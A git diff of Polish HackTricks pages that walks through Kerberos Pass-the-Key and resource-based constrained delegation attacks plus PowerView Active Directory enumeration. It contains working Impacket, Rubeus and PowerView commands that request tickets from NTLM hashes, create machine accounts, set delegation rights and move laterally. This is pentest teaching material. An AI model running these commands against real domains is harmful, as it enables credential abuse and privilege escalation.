Atak **Przejście hasła/klucza (PTK)** jest przeznaczony dla środowisk, w których tradycyjny protokół NTLM jest ograniczony, a uwierzytelnianie Kerberos ma pierwszeństwo. Ten atak wykorzystuje skrót NTLM lub klucze AES użytkownika do pozyskania biletów Kerberos, umożliwiając nieautoryzowany dostęp do zasobów w sieci.
|
||||||
|
|
||||||
Aby przeprowadzić ten atak, pierwszym krokiem jest pozyskanie skrótu NTLM lub hasła konta docelowego użytkownika. Po uzyskaniu tych informacji można uzyskać Bilet Grantujący Bilet (TGT) dla konta, co pozwala hakerowi uzyskać dostęp do usług lub maszyn, do których użytkownik ma uprawnienia.
|
Aby przeprowadzić ten atak, początkowym krokiem jest pozyskanie skrótu NTLM lub hasła konta docelowego użytkownika. Po uzyskaniu tych informacji można uzyskać Bilet Grantujący Bilet (TGT) dla konta, co pozwala hakerowi uzyskać dostęp do usług lub maszyn, do których użytkownik ma uprawnienia.
|
||||||
|
|
||||||
Proces można rozpocząć za pomocą następujących poleceń:
|
Proces można zainicjować za pomocą następujących poleceń:
|
||||||
```bash
|
```bash
|
||||||
python getTGT.py jurassic.park/velociraptor -hashes :2a3de7fe356ee524cc9f3d579f2e0aa7
|
python getTGT.py jurassic.park/velociraptor -hashes :2a3de7fe356ee524cc9f3d579f2e0aa7
|
||||||
export KRB5CCNAME=/root/impacket-examples/velociraptor.ccache
|
export KRB5CCNAME=/root/impacket-examples/velociraptor.ccache
|
||||||
python psexec.py jurassic.park/velociraptor@labwws02.jurassic.park -k -no-pass
|
python psexec.py jurassic.park/velociraptor@labwws02.jurassic.park -k -no-pass
|
||||||
```
|
```
|
||||||
W przypadku scenariuszy wymagających AES256 można skorzystać z opcji `-aesKey [klucz AES]`. Ponadto pozyskany bilet może być wykorzystany z różnymi narzędziami, takimi jak smbexec.py lub wmiexec.py, poszerzając zakres ataku.
|
W przypadkach wymagających AES256 można skorzystać z opcji `-aesKey [klucz AES]`. Ponadto pozyskany bilet może być wykorzystany z różnymi narzędziami, w tym smbexec.py lub wmiexec.py, poszerzając zakres ataku.
|
||||||
|
|
||||||
Napotkane problemy, takie jak _PyAsn1Error_ lub _KDC cannot find the name_, zazwyczaj są rozwiązywane poprzez zaktualizowanie biblioteki Impacket lub używanie nazwy hosta zamiast adresu IP, zapewniając kompatybilność z Kerberos KDC.
|
Napotkane problemy, takie jak _PyAsn1Error_ lub _KDC cannot find the name_, zazwyczaj są rozwiązywane poprzez zaktualizowanie biblioteki Impacket lub używanie nazwy hosta zamiast adresu IP, zapewniając kompatybilność z Kerberos KDC.
|
||||||
|
|
||||||
|
@ -37,9 +37,9 @@ Alternatywna sekwencja poleceń z użyciem Rubeus.exe prezentuje inną stronę t
|
||||||
.\Rubeus.exe asktgt /domain:jurassic.park /user:velociraptor /rc4:2a3de7fe356ee524cc9f3d579f2e0aa7 /ptt
|
.\Rubeus.exe asktgt /domain:jurassic.park /user:velociraptor /rc4:2a3de7fe356ee524cc9f3d579f2e0aa7 /ptt
|
||||||
.\PsExec.exe -accepteula \\labwws02.jurassic.park cmd
|
.\PsExec.exe -accepteula \\labwws02.jurassic.park cmd
|
||||||
```
|
```
|
||||||
Ta metoda odzwierciedla podejście **Pass the Key**, skupiając się na przejęciu i wykorzystaniu biletu bezpośrednio do celów uwierzytelniania. Ważne jest zauważenie, że inicjacja żądania TGT powoduje zdarzenie `4768: Żądany został bilet uwierzytelniania Kerberos (TGT)`, sygnalizując domyślne użycie RC4-HMAC, chociaż nowoczesne systemy Windows preferują AES256.
|
Ten sposób odzwierciedla podejście **Przekazanie Klucza**, skupiając się na przejęciu i wykorzystaniu biletu bezpośrednio do celów uwierzytelniania. Ważne jest zauważenie, że inicjacja żądania TGT powoduje zdarzenie `4768: Żądanie biletu uwierzytelniającego Kerberos (TGT)`, sygnalizujące domyślne użycie RC4-HMAC, chociaż nowoczesne systemy Windows preferują AES256.
|
||||||
|
|
||||||
Aby dostosować się do bezpieczeństwa operacyjnego i używać AES256, można zastosować poniższą komendę:
|
Aby dostosować się do bezpieczeństwa operacyjnego i używać AES256, można zastosować następujące polecenie:
|
||||||
```bash
|
```bash
|
||||||
.\Rubeus.exe asktgt /user:<USERNAME> /domain:<DOMAIN> /aes256:HASH /nowrap /opsec
|
.\Rubeus.exe asktgt /user:<USERNAME> /domain:<DOMAIN> /aes256:HASH /nowrap /opsec
|
||||||
```
|
```
|
||||||
|
@ -47,7 +47,7 @@ Aby dostosować się do bezpieczeństwa operacyjnego i używać AES256, można z
|
||||||
|
|
||||||
* [https://www.tarlogic.com/es/blog/como-atacar-kerberos/](https://www.tarlogic.com/es/blog/como-atacar-kerberos/)
|
* [https://www.tarlogic.com/es/blog/como-atacar-kerberos/](https://www.tarlogic.com/es/blog/como-atacar-kerberos/)
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
|
@ -55,10 +55,10 @@ Aby dostosować się do bezpieczeństwa operacyjnego i używać AES256, można z
|
||||||
|
|
||||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* Pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć, jak Twoja **firma jest reklamowana w HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
* Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć swoją **firmę reklamowaną w HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do [repozytorium hacktricks](https://github.com/carlospolop/hacktricks) i [repozytorium hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do [repozytorium hacktricks](https://github.com/carlospolop/hacktricks) i [repozytorium hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -14,7 +14,7 @@ Inne sposoby wsparcia HackTricks:
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
|
@ -22,30 +22,30 @@ Inne sposoby wsparcia HackTricks:
|
||||||
|
|
||||||
Jest to podobne do podstawowej [Delegacji Ograniczonej](constrained-delegation.md) ale **zamiast** nadawania uprawnień **obiektowi do podszycia się pod dowolnego użytkownika wobec usługi**. Delegacja ograniczona oparta na zasobach **ustawia w obiekcie, kto może podszycić się pod dowolnego użytkownika wobec niego**.
|
Jest to podobne do podstawowej [Delegacji Ograniczonej](constrained-delegation.md) ale **zamiast** nadawania uprawnień **obiektowi do podszycia się pod dowolnego użytkownika wobec usługi**. Delegacja ograniczona oparta na zasobach **ustawia w obiekcie, kto może podszycić się pod dowolnego użytkownika wobec niego**.
|
||||||
|
|
||||||
W tym przypadku obiekt z ograniczeniami będzie miał atrybut o nazwie _**msDS-AllowedToActOnBehalfOfOtherIdentity**_ z nazwą użytkownika, który może podszycić się pod dowolnego innego użytkownika wobec niego.
|
W tym przypadku obiekt ograniczony będzie miał atrybut o nazwie _**msDS-AllowedToActOnBehalfOfOtherIdentity**_ z nazwą użytkownika, który może podszycić się pod dowolnego innego użytkownika wobec niego.
|
||||||
|
|
||||||
Inną ważną różnicą w tej Delegacji Ograniczonej w porównaniu do innych delegacji jest to, że każdy użytkownik z **uprawnieniami do zapisu nad kontem komputera** (_GenericAll/GenericWrite/WriteDacl/WriteProperty/etc_) może ustawić _**msDS-AllowedToActOnBehalfOfOtherIdentity**_ (w innych formach Delegacji potrzebne były uprawnienia administratora domeny).
|
Inną ważną różnicą w tej Delegacji Ograniczonej w porównaniu do innych delegacji jest to, że każdy użytkownik z **uprawnieniami do zapisu nad kontem komputera** (_GenericAll/GenericWrite/WriteDacl/WriteProperty/etc_) może ustawić _**msDS-AllowedToActOnBehalfOfOtherIdentity**_ (w innych formach Delegacji potrzebne były uprawnienia administratora domeny).
|
||||||
|
|
||||||
### Nowe pojęcia
|
### Nowe pojęcia
|
||||||
|
|
||||||
W przypadku Delegacji Ograniczonej zostało powiedziane, że flaga **`TrustedToAuthForDelegation`** wewnątrz wartości _userAccountControl_ użytkownika jest wymagana do wykonania **S4U2Self**. Ale to nie do końca prawda.\
|
W przypadku Delegacji Ograniczonej mówiono, że flaga **`TrustedToAuthForDelegation`** wewnątrz wartości _userAccountControl_ użytkownika jest potrzebna do wykonania **S4U2Self**. Ale to nie do końca prawda.\
|
||||||
Rzeczywistość jest taka, że nawet bez tej wartości, możesz wykonać **S4U2Self** wobec dowolnego użytkownika, jeśli jesteś **usługą** (masz SPN), ale jeśli **masz `TrustedToAuthForDelegation`** zwrócony TGS będzie **Forwardable**, a jeśli **nie masz** tej flagi, zwrócony TGS **nie** będzie **Forwardable**.
|
Rzeczywistość jest taka, że nawet bez tej wartości można wykonać **S4U2Self** wobec dowolnego użytkownika, jeśli jesteś **usługą** (masz SPN), ale jeśli **masz `TrustedToAuthForDelegation`** zwrócony TGS będzie **Forwardable**, a jeśli **nie masz** tej flagi, zwrócony TGS **nie** będzie **Forwardable**.
|
||||||
|
|
||||||
Jednak jeśli **TGS** używany w **S4U2Proxy** **NIE jest Forwardable**, próba wykorzystania **podstawowej Delegacji Ograniczonej** **nie zadziała**. Ale jeśli próbujesz wykorzystać **delegację ograniczoną opartą na zasobach, zadziała** (to nie jest podatność, to funkcja, najwyraźniej).
|
Jednak jeśli **TGS** używany w **S4U2Proxy** **NIE jest Forwardable**, próba wykorzystania **podstawowej Delegacji Ograniczonej** **nie zadziała**. Ale jeśli próbujesz wykorzystać **delegację ograniczoną opartą na zasobach, zadziała** (to nie jest podatność, to funkcja, najwyraźniej).
|
||||||
|
|
||||||
### Struktura ataku
|
### Struktura ataku
|
||||||
|
|
||||||
> Jeśli masz **uprawnienia równoważne zapisu** nad kontem **Komputera**, możesz uzyskać **uprzywilejowany dostęp** do tego komputera.
|
> Jeśli masz **uprawnienia równoważne zapisu** nad kontem **komputera**, możesz uzyskać **uprzywilejowany dostęp** do tego komputera.
|
||||||
|
|
||||||
Załóżmy, że atakujący ma już **uprawnienia równoważne zapisu nad komputerem ofiary**.
|
Załóżmy, że atakujący ma już **uprawnienia równoważne zapisu nad komputerem ofiary**.
|
||||||
|
|
||||||
1. Atakujący **kompromituje** konto, które ma **SPN** lub **tworzy je** ("Usługa A"). Zauważ, że **dowolny** _Użytkownik Administratora_ bez żadnych innych specjalnych uprawnień może **utworzyć** aż do 10 **obiektów Komputera (**_**MachineAccountQuota**_**)** i nadać im SPN. Więc atakujący może po prostu utworzyć obiekt Komputera i nadać mu SPN.
|
1. Atakujący **kompromituje** konto, które ma **SPN** lub **tworzy je** ("Usługa A"). Zauważ, że **dowolny** _Użytkownik Admin_ bez żadnych innych specjalnych uprawnień może **utworzyć** aż do 10 **obiektów komputerowych (**_**MachineAccountQuota**_**)** i nadać im SPN. Więc atakujący może po prostu utworzyć obiekt komputera i nadać mu SPN.
|
||||||
2. Atakujący **wykorzystuje swoje uprawnienia DO ZAPISU** nad komputerem ofiary (UsługaB), aby skonfigurować **delegację ograniczoną opartą na zasobach, pozwalającą UsłudzeA na podszycie się pod dowolnego użytkownika** wobec tego komputera ofiary (UsługaB).
|
2. Atakujący **wykorzystuje swoje uprawnienia DO ZAPISU** nad komputerem ofiary (UsługaB), aby skonfigurować **delegację ograniczoną opartą na zasobach, pozwalającą UsłudzeA na podszycie się pod dowolnego użytkownika** wobec tego komputera ofiary (UsługaB).
|
||||||
3. Atakujący używa narzędzia Rubeus do przeprowadzenia **pełnego ataku S4U** (S4U2Self i S4U2Proxy) z Usługi A na Usługę B dla użytkownika **z uprzywilejowanym dostępem do Usługi B**.
|
3. Atakujący używa narzędzia Rubeus do przeprowadzenia **pełnego ataku S4U** (S4U2Self i S4U2Proxy) z Usługi A na Usługę B dla użytkownika **z uprzywilejowanym dostępem do Usługi B**.
|
||||||
1. S4U2Self (z kompromitowanego/utworzonego konta SPN): Prośba o **TGS Administratora do mnie** (Nie Forwardable).
|
1. S4U2Self (z kompromitowanego/utworzonego konta SPN): Prośba o **TGS Administratora do mnie** (Nie Forwardable).
|
||||||
2. S4U2Proxy: Użyj **nie Forwardable TGS** z poprzedniego kroku, aby poprosić o **TGS** od **Administratora** do **komputera ofiary**.
|
2. S4U2Proxy: Użyj **nie Forwardable TGS** z poprzedniego kroku, aby poprosić o **TGS** od **Administratora** do **komputera ofiary**.
|
||||||
3. Nawet jeśli używasz nie Forwardable TGS, ponieważ wykorzystujesz delegację ograniczoną opartą na zasobach, zadziała.
|
3. Nawet jeśli używasz nie Forwardable TGS, ponieważ wykorzystujesz delegację ograniczoną opartą na zasobach, zadziała.
|
||||||
4. Atakujący może **przekazać bilet** i **podszycić się** pod użytkownika, aby uzyskać **dostęp do usługi ofiary B**.
|
4. Atakujący może **przekazać bilet** i **podszycić się** pod użytkownika, aby uzyskać **dostęp do UsługiB ofiary**.
|
||||||
|
|
||||||
Aby sprawdzić _**MachineAccountQuota**_ domeny, można użyć:
|
Aby sprawdzić _**MachineAccountQuota**_ domeny, można użyć:
|
||||||
```powershell
|
```powershell
|
||||||
|
@ -63,14 +63,14 @@ New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '
|
||||||
# Check if created
|
# Check if created
|
||||||
Get-DomainComputer SERVICEA
|
Get-DomainComputer SERVICEA
|
||||||
```
|
```
|
||||||
### Konfigurowanie ograniczonej delegacji opartej na zasobach
|
### Konfigurowanie Ograniczonej Delegacji Opartej na **Zasobach**
|
||||||
|
|
||||||
**Z użyciem modułu PowerShell activedirectory**
|
**Za pomocą modułu PowerShell activedirectory**
|
||||||
```powershell
|
```powershell
|
||||||
Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount SERVICEA$ #Assing delegation privileges
|
Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount SERVICEA$ #Assing delegation privileges
|
||||||
Get-ADComputer $targetComputer -Properties PrincipalsAllowedToDelegateToAccount #Check that it worked
|
Get-ADComputer $targetComputer -Properties PrincipalsAllowedToDelegateToAccount #Check that it worked
|
||||||
```
|
```
|
||||||
**Za pomocą narzędzia powerview**
|
**Za pomocą powerview**
|
||||||
```powershell
|
```powershell
|
||||||
$ComputerSid = Get-DomainComputer FAKECOMPUTER -Properties objectsid | Select -Expand objectsid
|
$ComputerSid = Get-DomainComputer FAKECOMPUTER -Properties objectsid | Select -Expand objectsid
|
||||||
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
|
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
|
||||||
|
@ -113,17 +113,17 @@ ls \\victim.domain.local\C$
|
||||||
```
|
```
|
||||||
### Nadużywanie różnych biletów usług
|
### Nadużywanie różnych biletów usług
|
||||||
|
|
||||||
Dowiedz się o [**dostępnych biletach usług tutaj**](silver-ticket.md#dostępne-usługi).
|
Dowiedz się o [**dostępnych biletach usług tutaj**](silver-ticket.md#available-services).
|
||||||
|
|
||||||
## Błędy Kerberosa
|
## Błędy Kerberosa
|
||||||
|
|
||||||
* **`KDC_ERR_ETYPE_NOTSUPP`**: Oznacza to, że Kerberos jest skonfigurowany tak, aby nie używać DES ani RC4, a ty dostarczasz tylko skrót RC4. Dostarcz do Rubeusa co najmniej skrót AES256 (lub po prostu dostarcz skróty rc4, aes128 i aes256). Przykład: `[Rubeus.Program]::MainString("s4u /user:FAKECOMPUTER /aes256:CC648CF0F809EE1AA25C52E963AC0487E87AC32B1F71ACC5304C73BF566268DA /aes128:5FC3D06ED6E8EA2C9BB9CC301EA37AD4 /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:Administrator /msdsspn:CIFS/M3DC.M3C.LOCAL /ptt".split())`
|
* **`KDC_ERR_ETYPE_NOTSUPP`**: Oznacza to, że Kerberos jest skonfigurowany tak, aby nie używać DES ani RC4, a ty dostarczasz tylko skrót RC4. Dostarcz do Rubeusa co najmniej skrót AES256 (lub po prostu dostarcz skróty rc4, aes128 i aes256). Przykład: `[Rubeus.Program]::MainString("s4u /user:FAKECOMPUTER /aes256:CC648CF0F809EE1AA25C52E963AC0487E87AC32B1F71ACC5304C73BF566268DA /aes128:5FC3D06ED6E8EA2C9BB9CC301EA37AD4 /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:Administrator /msdsspn:CIFS/M3DC.M3C.LOCAL /ptt".split())`
|
||||||
* **`KRB_AP_ERR_SKEW`**: Oznacza to, że czas bieżącego komputera różni się od czasu kontrolera domeny i Kerberos nie działa poprawnie.
|
* **`KRB_AP_ERR_SKEW`**: Oznacza to, że czas bieżącego komputera różni się od czasu kontrolera domeny (DC), a Kerberos nie działa poprawnie.
|
||||||
* **`preauth_failed`**: Oznacza to, że podane nazwa użytkownika + skróty nie działają do logowania. Możliwe, że zapomniałeś wstawić "$" wewnątrz nazwy użytkownika podczas generowania skrótów (`.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local`)
|
* **`preauth_failed`**: Oznacza to, że podane nazwa użytkownika + skróty nie działają przy logowaniu. Możliwe, że zapomniałeś dodać "$" wewnątrz nazwy użytkownika podczas generowania skrótów (`.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local`)
|
||||||
* **`KDC_ERR_BADOPTION`**: Może to oznaczać:
|
* **`KDC_ERR_BADOPTION`**: Może to oznaczać:
|
||||||
* Użytkownik, którego próbujesz podrobić, nie może uzyskać dostępu do żądanej usługi (ponieważ nie możesz go podrobić lub nie ma wystarczających uprawnień)
|
* Użytkownik, którego próbujesz podrobić, nie może uzyskać dostępu do żądanej usługi (ponieważ nie możesz go podrobić lub nie ma wystarczających uprawnień)
|
||||||
* Żądana usługa nie istnieje (jeśli prosisz o bilet dla winrm, a winrm nie jest uruchomiony)
|
* Żądana usługa nie istnieje (jeśli prosisz o bilet dla winrm, a winrm nie jest uruchomiony)
|
||||||
* Stworzony fakecomputer stracił uprawnienia do podatnego serwera i musisz je przywrócić.
|
* Stworzony fakecomputer stracił uprawnienia na podatnym serwerze i musisz je przywrócić.
|
||||||
|
|
||||||
## Odnośniki
|
## Odnośniki
|
||||||
|
|
||||||
|
@ -132,7 +132,7 @@ Dowiedz się o [**dostępnych biletach usług tutaj**](silver-ticket.md#dostępn
|
||||||
* [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#modifying-target-computers-ad-object](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#modifying-target-computers-ad-object)
|
* [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#modifying-target-computers-ad-object](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#modifying-target-computers-ad-object)
|
||||||
* [https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/](https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/)
|
* [https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/](https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/)
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
|
@ -145,7 +145,7 @@ Inne sposoby wsparcia HackTricks:
|
||||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub grupy [**telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -4,7 +4,7 @@
|
||||||
|
|
||||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* Czy pracujesz w **firmie z branży cyberbezpieczeństwa**? Chcesz zobaczyć swoją **firmę reklamowaną na HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
* Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć swoją **firmę reklamowaną na HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
@ -12,7 +12,7 @@
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
|
@ -141,7 +141,7 @@ Get-DomainOU "Servers" | %{Get-DomainComputer -SearchBase $_.distinguishedname -
|
||||||
Get-NetOU #Get Organization Units
|
Get-NetOU #Get Organization Units
|
||||||
Get-NetOU StudentMachines | %{Get-NetComputer -ADSPath $_} #Get all computers inside an OU (StudentMachines in this case)
|
Get-NetOU StudentMachines | %{Get-NetComputer -ADSPath $_} #Get all computers inside an OU (StudentMachines in this case)
|
||||||
```
|
```
|
||||||
### Logowanie i Sesje
|
### Logowanie i sesje
|
||||||
```powershell
|
```powershell
|
||||||
Get-NetLoggedon -ComputerName <servername> #Get net logon users at the moment in a computer (need admins rights on target)
|
Get-NetLoggedon -ComputerName <servername> #Get net logon users at the moment in a computer (need admins rights on target)
|
||||||
Get-NetSession -ComputerName <servername> #Get active sessions on the host
|
Get-NetSession -ComputerName <servername> #Get active sessions on the host
|
||||||
|
@ -151,8 +151,8 @@ Get-NetRDPSession -ComputerName <servername> #List RDP sessions inside a host (n
|
||||||
```
|
```
|
||||||
### Obiekt zasad grupy - GPO
|
### Obiekt zasad grupy - GPO
|
||||||
|
|
||||||
Jeśli atakujący ma **wysokie uprawnienia wobec GPO**, może on wykorzystać to do **privesc**, nadając **uprawnienia użytkownikowi**, dodając **użytkownika lokalnego admina** do hosta lub tworząc **zaplanowane zadanie** (natychmiastowe) w celu wykonania akcji.\
|
Jeśli atakujący ma **wysokie uprawnienia wobec GPO**, może on wykorzystać je do **przywłaszczenia uprawnień** poprzez **dodanie uprawnień dla użytkownika**, **dodanie użytkownika jako administratora lokalnego** na hoście lub **utworzenie zaplanowanego zadania** (natychmiastowego) w celu wykonania akcji.\
|
||||||
Aby uzyskać [**więcej informacji na ten temat i jak go wykorzystać, kliknij ten link**](../active-directory-methodology/acl-persistence-abuse/#gpo-delegation).
|
Aby uzyskać [**więcej informacji na ten temat i dowiedzieć się, jak to wykorzystać, kliknij ten link**](../active-directory-methodology/acl-persistence-abuse/#gpo-delegation).
|
||||||
```powershell
|
```powershell
|
||||||
#GPO
|
#GPO
|
||||||
Get-DomainGPO | select displayName #Check the names for info
|
Get-DomainGPO | select displayName #Check the names for info
|
||||||
|
@ -186,7 +186,7 @@ Get-DomainGPOLocalGroup | select GPODisplayName, GroupName, GPOType
|
||||||
# Enumerates the machines where a specific domain user/group is a member of a specific local group.
|
# Enumerates the machines where a specific domain user/group is a member of a specific local group.
|
||||||
Get-DomainGPOUserLocalGroupMapping -LocalGroup Administrators | select ObjectName, GPODisplayName, ContainerName, ComputerName
|
Get-DomainGPOUserLocalGroupMapping -LocalGroup Administrators | select ObjectName, GPODisplayName, ContainerName, ComputerName
|
||||||
```
|
```
|
||||||
Dowiedz się, jak **wykorzystać uprawnienia w GPO i ACL** w:
|
